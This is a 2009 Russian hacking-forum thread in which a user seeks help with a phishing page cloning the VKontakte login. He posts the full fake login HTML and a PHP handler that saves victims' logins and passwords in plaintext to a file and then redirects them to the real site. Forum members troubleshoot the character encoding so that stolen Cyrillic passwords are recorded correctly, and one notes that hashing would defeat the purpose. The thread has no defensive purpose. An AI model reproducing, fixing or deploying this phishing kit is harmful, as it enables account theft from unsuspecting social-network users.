Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Вопрос по PHP Фейк не записывает в базу русские буквы (https://forum.antichat.xyz/showthread.php?t=113875)

cnd 31.03.2009 10:20

Вопрос по PHP Фейк не записывает в базу русские буквы
 
Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333
Как с этим бороться?

MuXaJIbI4 31.03.2009 10:22

а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш

Nightmarе 31.03.2009 10:33

Кодировку исправь ;)

m0Hze 31.03.2009 10:58

А проще кодируй в бейс64,и записывай.

cnd 31.03.2009 10:59

а как там кодировку менять?

cnd 31.03.2009 11:01

люди я нулевой в ПХП как именно там сделать?

cnd 31.03.2009 11:03

Вот файл обработчик:
<?PHP
$Login = $_POST['login']; // Ëîãèí
$Pass = $_POST['pass']; // Ïàðîëü

$log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
fclose($log); //çàêðûâàåì
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
?>

записывает в base.php

Pashkela 31.03.2009 11:12

перед <?PHP попробуй просто добавить:

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

cnd 31.03.2009 11:19

Цитата:

Сообщение от Pashkela
перед <?PHP попробуй просто добавить:

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

неа непомогает

Pashkela 31.03.2009 11:20

в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь

cnd 31.03.2009 11:24

я уже везде где тока можно впихнкть поробовал, всё равно непомогает

Pashkela 31.03.2009 11:26

Выложи весь код фейка сюда, тогда помогу, 100%

MuXaJIbI4 31.03.2009 11:28

а в базе у тебя какая кодировка стоит?

Pashkela 31.03.2009 11:30

Цитата:

Сообщение от MuXaJIbI4
а в базе у тебя какая кодировка стоит?

)) Он базой своё файло назвал. Смотри код

cnd 31.03.2009 11:34

ИНДЕКС.ПХП
PHP код:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"
>
<
html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<
title>&#194; Êîíòàêòå | Âõîä</title>
<link rel="stylesheet" href="css/rustyle.css?17" type="text/css" />
<
script src="js/functions.js?21"></script>
<
link rel='stylesheet' href='css/login.css?2' type='text/css' />

<
link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?3" type="text/css" />
<
link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' />

<
link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />
<!--[if 
lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie.css); /* ]]> */</style><![endif]-->
<!--[if 
gte IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie7.css); /* ]]> */</style><![endif]-->
<
script src="js/niftycube.js?1"></script>


<
script type="text/javascript">
<!--
function 
addEvent(etf) {
    if (
== 'load' && window.onDomReady) {
        
onDomReady(f);
    }else
    if (
e.addEventListener) {e.addEventListener(tffalse);}
    else if (
e.attachEvent) {e.attachEvent('on' tf);}
}
function 
removeEvent(etf){
    if (
e.removeEventListener) {e.removeEventListener(tffalse);}
    else if (
e.detachEvent) {e.detachEvent('on'+tf);}
}

//-->
</script>

<
script type="text/javascript">
<!--
(function(){
    var 
loadFn = function(){
        
Nifty("ul.tabs a""small top");
        
Nifty("ul.buttonRow a""small");
        
Nifty("div.leftAd","small transparent");
        
Nifty("div.selPad","small transparent");
        
Nifty("div.myPad""small transparent");
    };
    
addEvent(window'load'loadFn);
})();
//-->
</script>
</
head>

<
body>

 <
div id="pageLayout">

<!-- 
pageHeader -->

  <
div id="pageHeader">

   <
h1 id="home"><a href="index.php">&#194;Êîíòàêòå</a></h1>


   
<ul class="topNav" style='padding-right:5px'>
    <
li style="width:5.5em"><a href='http://vkontakte.ru/faq.php'>&#239;îìîùü</a></li>
    
<li style="width:7.8em"><a href="http://vkontakte.ru/reg0'">&#240;åãèñòðàöèÿ</a></li>
    
<li style="width:4.0em"><a href='http://vkontakte.ru/'>&#226;õîä</a></li>
   
</ul>

  </
div>

<!-- 
End pageHeader -->

<!-- 
sideBar -->

  <
div id="sideBar">

   
   <
ol id='nav'>
    <
li><a href='http://vkontakte.ru'>&#195;ëàâíàÿ</a></li>
    
<li><a href='http://vkontakte.ru/'>&#194;õîä</a></li>
    
<li><a href='http://vkontakte.ru/reg0'>&#208;åãèñòðàöèÿ</a></li>
   
</ol>

   <
div style="width:124px">
</
div>
   
  </
div>

<!-- 
End sideBar -->

<!-- 
pageBody -->

  <
div id="pageBody" class="pageBody">

  <
div id="wrapH">
  <
div id="wrapHI">
   <
div id="header">
    <
h1> &#206;øèáêà</h1>
   
</div>
  </
div>
  </
div>

  <
div id="wrap2">
  <
div id="wrap1">
   <
div id="content">

    
<
img src='1.jpg'>
<
div class="simplePage">

 <
form method="post" name="login" id="login" action="log.php">
 <
input type="hidden" name="success_url" id="success_url" value="">
 <
input type="hidden" name="fail_url" id="fail_url" value="">
 <
input type="hidden" name="try_to_login" id="try_to_login" value="1">
  <
table align="center" cellpadding=0 cellspacing=7 border=0 width="40%">
   <
tr>
    <
td width="100px">
     <
span class="grey">Email:</span>
    </
td>
    <
td>
     <
input class="inputText" type="text" name="login" value="" id="email" size="25" />
    <
td>
   </
tr>
   <
tr>
    <
td>
     <
span class="grey">&#207;àðîëü:</span>
    
</td>
    <
td>
     <
input class="inputText" type="password" name="pass" value="" id="pass" size="25" />
    </
td>
   </
tr>
   
   <
tr>
    <
td>
     &
nbsp;
    </
td>
    <
td>
     <
input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /><small>&#215;óæîé êîìïüþòåð</small>
    
</td>
   </
tr>
   <
tr>
    <
td>
     &
nbsp;
    </
td>
    <
td>
<
div style="height:20px; margin:5px 0px">
<
ul class='nNav'><li style="margin-left:0px">
<
class="nc"><class="nc1"><b></b></b><class="nc2"><b></b></b></b>
<
span class="ncc"><a href="javascript:document.login.submit()">&#194;õîä</a></span>
<class="nc"><class="nc2"><b></b></b><class="nc1"><b></b></b></b>
</
li>
<
li>
<
class="nc"><class="nc1"><b></b></b><class="nc2"><b></b></b></b>
<
span class="ncc"><a href="http://vkontakte.ru/reg0'">&#208;åãèñòðàöèÿ</a></span>
<class="nc"><class="nc2"><b></b></b><class="nc1"><b></b></b></b>
</
li></ul>
</
div>

    </
td>
   </
tr>
   <
tr>
    <
td>
     &
nbsp;
    </
td>
    <
td class="forgotPass">
     <
a href="login.php?op=forgot">&#199;àáûëè ïàðîëü?</a>
    
</td>
   </
tr>

  </
table>
  <
input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/>
 </
form>

</
div>

    
   </
div>
  </
div>
  </
div>

  </
div>
  <
div id="boxHolder"></div>

<!-- 
End pageBody -->



<!-- 
bFooter -->
  <
div id="bFooter">
   <
ul class="bNav" style="text-align: center">
    <
li><a href="'http://vkontakte.ru/help.php?page=about">&#238; ñàéòå</a></li>
    
<li><a href="'http://vkontakte.ru/techsupp.php">&#242;åõïîääåðæêà</a></li>
    
<li><a href="'http://vkontakte.ru/blog.php">&#225;ëîã</a></li>
    
<li><a href="'http://vkontakte.ru/help.php?page=terms">&#239;ðàâèëà</a></li>
    
<li><a href="'http://vkontakte.ru/help.php?page=adv">&#240;åêëàìà</a></li>
   
</ul>
  </
div

  <
div id="bFooter"
   <
p>&#194; Êîíòàêòå &copy; 2006-2009<br /> <a href="/?lang=3&lhash="><img src="http://vkontakte.ru/images/flags/us.gif" vspace="5"/></a> <a href="/?lang=1&lhash="><img src="http://vkontakte.ru/images/flags/ua.gif" vspace="5"/></a> <a href="/?lang=2&lhash="><img src="http://vkontakte.ru/images/flags/by.gif" vspace="5"/></a></p>
  
</div>
<!-- 
tns-counter.ru -->
<
script type="text/javascript">
<!--
addEvent(window'load', function(){
    var 
img = new Image();
    
img.src 'http://www.tns-counter.ru/V13a***R>' document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/';
});    
//-->
</script>
<
noscript>
    <
img src="http://www.tns-counter.ru/V13a****vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/" width="1" height="1" alt="" />
</
noscript>
<!--/ 
tns-counter.ru -->
<!--
LiveInternet counter-->
<
script type="text/javascript">
<!--
addEvent(window'load', function(){
    var 
img = new Image();
    
img.src 'http://counter.yadro.ru/hit?r' escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' escape(document.URL) + ';' Math.random() + '';
});    
//-->
</script>
<!--/
LiveInternet-->
<!-- 
End bFooter -->

</
div>

<!-- 
End pageLayout 431 -->

</
body>
</
html

LOG.PHP

PHP код:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<?PHP
$Login 
$_POST['login']; // Ëîãèí
$Pass $_POST['pass']; // Ïàðîëü

$log fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
fclose($log); //çàêðûâàåì
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
?>

BASE.PHP

PHP код:

<?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>


cnd 31.03.2009 11:39

Всё что было русским в файлах всё поменялась на хз что

Pashkela 31.03.2009 11:42

2 cnd:

и то, и другое, по очереди, вставь в обычный блокнот windows, сохрани, если будет чо спрашивать, на всё отвечать "да", потом обратно на сервак залей (ну или туда, где ты там фейк тестишь)

Просто у тебя все исходники в уникоде, а надо в ANSI

Когда я так сделал - русский текст нормально сохраняется

Цитата:

Сообщение от cnd
Всё что было русским в файлах всё поменялась на хз что

вот ты сам на свой вопрос и ответил

cnd 31.03.2009 11:59

Всё сделал как сказал ты залил на хост и оно + что незаписывало как надо дык ещё и в браузере все русские буквы такой же мазой показывалиссь

cnd 31.03.2009 12:00

ЛАНА КУЙ с НИМ

Pashkela 31.03.2009 12:05

Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.

ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов

cnd 31.03.2009 13:35

Цитата:

Сообщение от Pashkela
Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.

ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов

А мне именно эта нужна

Pashkela 31.03.2009 13:47

Именна эта у меня например работает. Как и что сделать - расписано в подробностях.

Zedi 31.03.2009 16:48

Код:

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
так и должен стоять английский язык??

DrakonSerg 06.05.2009 16:23

В log.txt я так понимаю кодировку нужно изменить
Заменить "charset=UTF-8" на "charset=windows-1251"

DDoSька 06.05.2009 17:00

Цитата:

Сообщение от MuXaJIbI4
а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш

Угу и потом он должен сидеть их брутить? Это же фэйк :)


Время: 16:24